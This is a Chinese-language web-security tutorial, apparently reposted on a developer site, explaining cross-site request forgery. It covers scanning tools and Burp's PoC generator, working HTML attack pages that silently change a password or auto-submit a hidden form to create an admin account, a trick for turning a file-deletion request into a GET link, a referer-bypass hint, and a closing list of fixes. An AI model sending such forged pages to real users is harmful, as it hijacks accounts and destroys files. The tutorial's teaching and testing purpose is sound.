内容简介:CSRF(Cross-site request forgery)全称“跨站请求伪造”,也被称为“One Click Attack”或者“Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。可
一、CSRF介绍
CSRF(Cross-site request forgery)全称“跨站请求伪造”,也被称为“One Click Attack”或者“Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义进行某些非法操作。CSRF能够使用你的账户发送邮件,获取你的敏感信息,甚至盗走你的账户。
二:CSRF原理
受害者--用户在当前已经登录的web应用程序上执行非本意的操作
攻击者--欺骗浏览器,让其以受害者的名义执行自己想要的操作
例如:
当用户打开或登录某个网站时,浏览器与网站所存放的服务器将会产生一个会话,在这个会话没有结束时,用户可以利用自己的权限对网站进行某些操作,如:修改资料、交易支付、删除文件等,当会话结束后,用户再进行某些操作的时候,WEB应用程序便会提示“当前会话已经过期”“请重新登录”等提示。
攻击者构造好一个修改用户密码的请求,通过诱骗已经登陆WEB应用程序的受害者点击,受害者便以自己的身份执行了一个非本意的操作,而修改的密码是攻击者可以控制的,这就导致了受害者的密码被恶意修改。
CSRF攻击是建立在浏览器与WEB服务器的会话之中的,通过欺骗用户访问URL达到攻击目的。
三、漏洞挖掘
1、自动化扫描工具
netspark
AWVS
appscan
一般用上列 工具 可以扫描到网站是否存在CSRF漏洞。但是在工具中添加登录参数可以大大提高挖掘的成功率
2、半自动检测工具
CSRFTester
下载地址: https://www.owasp.org/index.php/File:CSRFTester-1.0.zip
1.安装CSRFTester
打开run.bat就可以打开工具,但是需要 java 的环境
消息框出现该消息时,表示工具已经开始监听本地8008这个端口了,这个时候需要配置浏览器的代理
2. 设置浏览器代理(搜狗浏览器为例)
点击工具栏--代理设置--添加新代理,将代理进行添加并启用即可
3. 用户登录
单击“Start Recording”,开启CSRFTester的检测工作,这样以后我们所有访问的URL以及参数都会被记录下来。
4. 通过CSRFTester抓取和伪造请求
当你登录一个网站账号时,CSRF Tester会进行抓取
我们抓取了该请求,在Step属性中添加请求,然后将Form Parameter中的user等表单中参数进行修改,然后单击Generate HTML按钮(可以选择其他格式:Forms、IFrame等)来产生CSRF攻击脚本。
随机生成了一个攻击脚本,将其上传服务器,发送给受害者即可。
CSRF PoC generator
打开burpsuite,在抓取任意一个HTTP请求中点击右键,选择Engagement tools,然后点击Generate CSRF POC即可生成CSRF POC,
这款工具也是根据请求参数生成的POC,可以直接点击test in browser按钮进行测试,点击后会利用这段POC进行攻击。
上列两款工具可以拦截所有的请求,渗透测试人员可以在登录状态下进行修改密码、删除文件等操作,工具便会将发送的请求进行拦截,再通过工具生成的POC便可以验证漏洞是否存在。
四、手工测试实例
1、利用csrf修改用户密码
2、利用csrf删除文件
3、突破CSRF验证
4.1、任意修改用户密码
进入修改密码页面,输入修改的密码,重复输入修改的密码,然后点击提交,获取get方式的请求包,如下:
随后我们密码便修改为123456了,如果我们将链接发送给已经登录这个平台的用户,浏览器就会自动使用他的cookie来执行修改密码的参数
伪造一个html文件,上传至ftp服务器,伪造成链接发送给受害者即可执行这个参数
html代码如下:
<html> <head> <title>csrf测试</title> </head> <body> <form action="http://127.0.0.1:2003/dvwa1.9/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="12345678" /> <input type="hidden" name="password_conf" value="12345678" /> <input type="hidden" name="Change" value"Change" /> <input type="submit" value"某某图片下载" /> </form> </body> </html>
另一种HTML形式,上传FTP空间发送网址给用户打开即可
<img src=" http://127.0.0.1:2003/dvwa1.9/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change " frameborder="0" width="0px" />
4.2、删除任意文件
在网站后台功能中有删除文件的请求,把请求包(POST方式)构造成GET方式,当管理员打开连接时,文件就被删除了,可以将链接隐藏在自己的服务器,诱惑管理员打开
如果是GET方式,直接复制请求链接发送给受害者即可,如果是POST方式可以转变为GET方式,方法如下:
1、选择删除的文件,删除时进行抓包
2、把POST后面的参数进行复制,如delete=/web&id=index.php
3、用&符号将其参数和URL进行连接,如 http://www.xxxx.xxxx/admin.php?xxxxx&delete=/web&id=index.php
4、按照GET方式攻击方法发送给受害者
4.3、突破CSRF验证
当网站只允许POST请求方式时,我们构造的GET方式攻击便失效了,这是我们可以构造一个HTML页面,将POST请求的参数写入表单中进行提交,代码为:
<html> <head> <title>csrf测试</title> </head> <body> <iframe frameborder="0" name="myifare" width="0px" height="0px"</iframe> <form id="myfrom" method="post" action="http://www.hcdegz.com/chuangjiang"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="password" value="12345678" /> <input type="hidden" name="Change" value"Change" /> </form> <script> var myfrom =document.getElementById("myfrom") myfrom.submit(); </script> </body> </html>
当管理员访问上传到服务器中的该页面时便会自动创建一个管理员账户。
注:有些网站采用了一些安全策略,每当发送一个请求时,会匹配请求包中上个页面来源是否为网站本身,也就是referer头,这时候我们在构造HTML页面发送给受害者时便失效了,我们可以创建一个跟网站某页面相同名称的目录,有几率能绕过这一防御机制。
五、修复方式
1、当用户发送重要的请求时需要输入原始密码
2、设置随机Token
3、检验referer来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为POST
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 【技术分享】WebSocket漏洞与防护详解
- 【技术分享】WebSocket漏洞与防护详解
- CVE-2019-11477漏洞详解详玩
- 详解NSURLCache缓存引发的安全漏洞
- 详解Laravel 5.8 SQL注入漏洞
- CVE-2019-11477漏洞详解详玩(删)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Oricle8i Web开发指南
(美)Bradley D.Brown / 机械工业出版社 / 2001-6 / 78.00元
本书用实际通用的策略,阐明了怎样一起来看看 《Oricle8i Web开发指南》 这本书的介绍吧!